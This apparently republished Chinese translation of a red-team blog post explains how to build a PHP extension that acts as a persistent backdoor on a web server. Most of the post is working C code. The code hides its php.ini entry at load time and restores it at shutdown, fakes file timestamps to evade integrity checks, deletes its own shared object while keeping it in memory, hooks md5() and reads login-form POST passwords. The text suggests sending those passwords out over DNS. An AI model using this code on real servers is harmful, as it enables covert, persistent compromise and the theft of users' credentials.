如何修改PHP擴展作為持久后門,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

創(chuàng)新互聯(lián)是一家以網(wǎng)絡技術(shù)公司,為中小企業(yè)提供網(wǎng)站維護、網(wǎng)站設(shè)計、做網(wǎng)站、網(wǎng)站備案、服務器租用、主機域名、軟件開發(fā)、小程序開發(fā)等企業(yè)互聯(lián)網(wǎng)相關(guān)業(yè)務,是一家有著豐富的互聯(lián)網(wǎng)運營推廣經(jīng)驗的科技公司,有著多年的網(wǎng)站建站經(jīng)驗,致力于幫助中小企業(yè)在互聯(lián)網(wǎng)讓打出自已的品牌和口碑,讓企業(yè)在互聯(lián)網(wǎng)上打開一個面向全國乃至全球的業(yè)務窗口:建站歡迎咨詢:13518219792
在我們作為紅隊的運營中,我們研究不同的持久后門方法,因為每種技術(shù)都有他的優(yōu)缺點。選擇通常基于不同情況,因此對于位于外圍的服務器,PHP擴展是一個很棒的選擇。
本文的重點是:
1.如何減少tracks
2.連接PHP函數(shù)并從Red Team中提取有用信息
3.攔截GET / POST參數(shù)PS:示例在PHP 7環(huán)境中進行測試(PHP 5和PHP 7 API內(nèi)部之間有變化)
1.如果在PHP中添加PHP擴展,PHP解釋器將在啟動時加載PHP.ini文件(extension = path / to / our / extension)
2.在PHP擴展中,我們主要關(guān)注4個hooks:MINIT&MSHUTDOWN,以及RINIT和RSHUTDOWN。當解釋器啟動和停止時,M 以root身份執(zhí)行(通常)。R 在作為服務器用戶執(zhí)行。
3.我們可以從請求中讀取HTTP頭并觸發(fā)任何操作(例如,執(zhí)行命令或啟動反向shell)。為了保持對受感染服務器的訪問,PHP擴展是一個非常好的選擇。我們可以使用合法的HTTP請求與這種后門進行交互(如推薦文章中所示),因為防火墻和網(wǎng)絡規(guī)則無法檢測到我們。但是想要加載我們的擴展,我們就需要修改php.ini文件重新加載配置。如果未恢復php.ini,那么其大小,哈希和時間戳將不同,操作將公開,藍隊獲勝,我們輸了。當然,php.ini修改應該會被文件完整性檢查器立即檢測到,但實際上SOCs往往忽略這種警報
我們知道當我們修改了php.ini時會生成一個警報。可是如果當有人SSH連接到服務器,對php.ini進行cat操作,我什么也看不見。進行l(wèi)s操作,時間戳也是好的。重新啟動服務器只是為了再次檢查沒有發(fā)生任何奇怪的事情。我們的后門還活著。這是為什么?
當加載我們的PHP擴展時,我們不需要在php.ini文件中保留“extesion = path/to/our.so”這一行。我們可以程序化地將其恢復到原始狀態(tài)。利用MINIT hook,我們可以刪除添加到php.ini的行,所以當加載擴展時,這個hook將以root(通常)觸發(fā),我們可以編輯php.ini文件而不會出現(xiàn)問題。同樣,我們可以使用MSHUTDOWN插入一段代碼,用于再次將行添加到php.ini中,因此當服務器重新啟動時,將再次添加“extension = ...”行。當加載擴展時,將執(zhí)行MINIT并關(guān)閉cicle。使用這種方法,php.ini文件在大部分時間內(nèi)都不會顯示任何奇怪的內(nèi)容。泛型函數(shù)可以表示如下:
/ This code sucks
int modifyExtension(int action) {
char source = NULL;
char needle = NULL;
FILE fp;
size_t newSize;
fp = fopen(PHPINI, "a+");
if (fp != NULL) {
if (action == 1) {
if (fseek(fp, 0L, SEEK_END) == 0) {
long bufsize = ftell(fp); // FileSize
if (bufsize == -1) {
return -1;
}
source = malloc(sizeof(char ) (bufsize + 1)); // Alloc memory to read php.ini
if (fseek(fp, 0L, SEEK_SET) != 0) {
return -1;
free(source);
}
newSize = fread(source, sizeof(char), bufsize, fp);
if (ferror(fp) != 0) {
return -1;
free(source);
}
else {
source[newSize++] = '\0';
needle = strstr(source, LOCATION);
if (needle != 0) {
FILE tmp = fopen("/tmp/.tmpini", "w");
fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")
fclose(tmp);
rename("/tmp/.tmpini", PHPINI);
}
}
free(source);
}
fclose(fp);
}
if (action == 0) {
fwrite("\nextension=", 11, 1, fp);
fwrite(LOCATION, strlen(LOCATION), 1, fp);
fclose(fp);
fprintf(stderr, "[+] Extension added to PHP.INI\n");
}
}
else {
return -1;
}
return 1;
}這種策略的對應部分是,如果服務器以意外方式被kill,則不會執(zhí)行`MSHUTDOWN hook`。另一方面,時間戳將被修改,因此我們也需要牢記這一點:
#define PHPINI "/u/know/that/php.ini" ... struct stat st; stat(PHPINI, &st); ...// Do changes new_time.actime = st.st_atime; new_time.modtime = st.st_mtime; utime(PHPINI, &new_time);
我們介紹了如何恢復php.ini,但是如果我們需要刪除和恢復后門本身(共享對象),由于我們正在以用戶級別工作(如果我們使用rootkit - 例如一個簡單的LKM-我們可以隱藏它)。在加載擴展程序時,我們可以輕松地將其內(nèi)容保存在內(nèi)存中,然后刪除該文件。就像是:
//Simple PoC
PHP_MINIT_FUNCTION(PoC)
{
//Executed when the module is loaded
// Privilege: root (usually)
int fd, check;
struct utimbuf new_time;
fprintf(stderr, "[+] LOADED\n");
//1) Calculate size of the file
struct stat st;
if (stat(LOCATION, &st) == -1) {
return SUCCESS;
}
filesize = st.st_size;
//2) Open the file
fd = open(LOCATION, O_RDONLY, 0);
if (fd == -1) {
return SUCCESS;
}
//3) Map file to memory
mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
//4) Delete file
remove(LOCATION);
//5) Get timestamp
stat(PHPINI, &st);
//6) Modify php.ini and delete the extension line
check = modifyExtension(1);
if (check == -1) {
fprintf(stderr, "[+] PHP.INI could not be edited\n");
}
else {
fprintf(stderr, "[+] PHP.INI edited\n");
}
//7) Fake timestamp
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);
...下一步是使用MSHUTDOWN hook將共享對象從內(nèi)存寫入文件:
PHP_MSHUTDOWN_FUNCTION(Allocer)
{
// We write the file again, edit php.ini and fake the timestamp
if (mapedFile == MAP_FAILED) {
return SUCCESS;
}
int check;
FILE *fp;
struct utimbuf new_time;
struct stat st;
fp = fopen(LOCATION, "w");
fwrite(mapedFile, 1, filesize, fp);
fclose(fp);
munmap(mapedFile, filesize);
stat(PHPINI, &st);
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
check = modifyExtension(0);
utime(PHPINI, &new_time);
return SUCCESS;
}我們現(xiàn)在知道如何留下最小的tracks,并在Tarlogic博客的帖子中解釋了如何與我們的后門進行通信并通過HTTP標頭觸發(fā)操作,所以讓我們開始更有趣的事情,比如hooking。作為ReadTeamers,我們渴望獲得進行橫向運動的憑據(jù)。如果我們可以在常見的函數(shù)中放置一個hook(比如那些用于哈希密碼或用于在數(shù)據(jù)庫中插入新用戶的函數(shù)),我們可以通過DNS解析索引的關(guān)鍵信息(如本文)。作為一個簡單的PoC,我們將掛鉤PHP函數(shù)md5()。讓我們潛入PHP內(nèi)部深處!函數(shù)符號表作為 HashTable存儲在結(jié)構(gòu)zend_compiler er_globals中:
struct _zend_compiler_globals {
zend_stack loop_var_stack;
zend_class_entry active_class_entry;
zend_string compiled_filename;
int zend_lineno;
zend_op_array active_op_array;
HashTable function_table; / function symbol table /
...我我們可以通過CG(編譯器全局)宏訪問`function_table`成員,并搜索函數(shù)的地址.由于它是一個HashTable,我們可以使用zend_hash_str_find_ptr來搜索密鑰“md5”。最后,我們只需要修改處理程序(指向函數(shù)的地址),使其指向我們的hook。像這樣:
//Placed at MINIT
...
zend_function *orig;
orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
orig->internal_function.handler = zif_md5_hook;
...檢查原始的md5功能代碼:
PHP_NAMED_FUNCTION(php_if_md5)
{
zend_string *arg;
zend_bool raw_output = 0;
PHP_MD5_CTX context;
unsigned char digest[16];
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STR(arg)
Z_PARAM_OPTIONAL
Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
...要首先創(chuàng)建我們的hook,我們需要使用正確的數(shù)據(jù)類型和args來定義它。在官方文檔中顯示`PHP_NAMED_FUNCTION`(無論如何)擴展為`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我們的hook必須像這樣創(chuàng)建:
// Test Hook md5
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
php_printf("[+] Hook called\n");
zend_string *arg;
zend_bool raw_output = 0;
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STR(arg)
Z_PARAM_OPTIONAL
Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}編譯并執(zhí)行:
mothra@arcadia:~/php-7.2.8/ext/Allocer|
? sudo /usr/local/bin/php -r "echo md5('kk');"
[+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk%連接juicy函數(shù)是獲取信息的一種很好的方式,但如果我們知道通過POST或GET發(fā)送的參數(shù)(例如登錄表單)存在,那么捕獲這些值要好得多。我們將把代碼放在`RINIT hook`中,因為每次處理請求時都會執(zhí)行它。為了檢索信息,我們需要在php_variables.c上檢查PHP引擎的工作方式:
... zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]); ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array); ...
因此變量被視為來自`http_globals`的數(shù)組。搜索特定值的最簡單方法(例如我們希望對登錄表單中發(fā)送的`“pass”`參數(shù)進行說明)是從數(shù)組中獲取HashTable,然后使用API進行搜索,就像我們之前搜索的那樣md5功能。我們這樣做的魔法函數(shù)是HASH_OF:
zval password;
zval post_arr;
HashTable *post_hash;
post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
post_hash = HASH_OF(post_arr);
password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
if (password != 0) {
php_printf("Password: %s", Z_STRVAL_P(password));
}如果我們測試它:
mothra@arcadia:~/php-7.2.8/ext/Allocer| ? curl localhost:8888/k.php --data "pass=s0S3cur3" Password: s0S3cur3
現(xiàn)在,這個密碼可以保存在文件中,或者只是通過DNS發(fā)送給我們所擁有的DNS服務器。
PHP擴展是一種強大的方法,可以持久的保存在目標中,當然,這也是開始使用PHP內(nèi)部的最佳借口。如果你發(fā)現(xiàn)這篇文章有用,或者指出我的錯誤,請通過twitter @TheXC3LL與我聯(lián)系。
關(guān)于如何修改PHP擴展作為持久后門問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。
網(wǎng)頁題目:如何修改PHP擴展作為持久后門
分享路徑:http://www.chinadenli.net/article40/igjcho.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供、企業(yè)網(wǎng)站制作、靜態(tài)網(wǎng)站、品牌網(wǎng)站制作、手機網(wǎng)站建設(shè)、云服務器
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)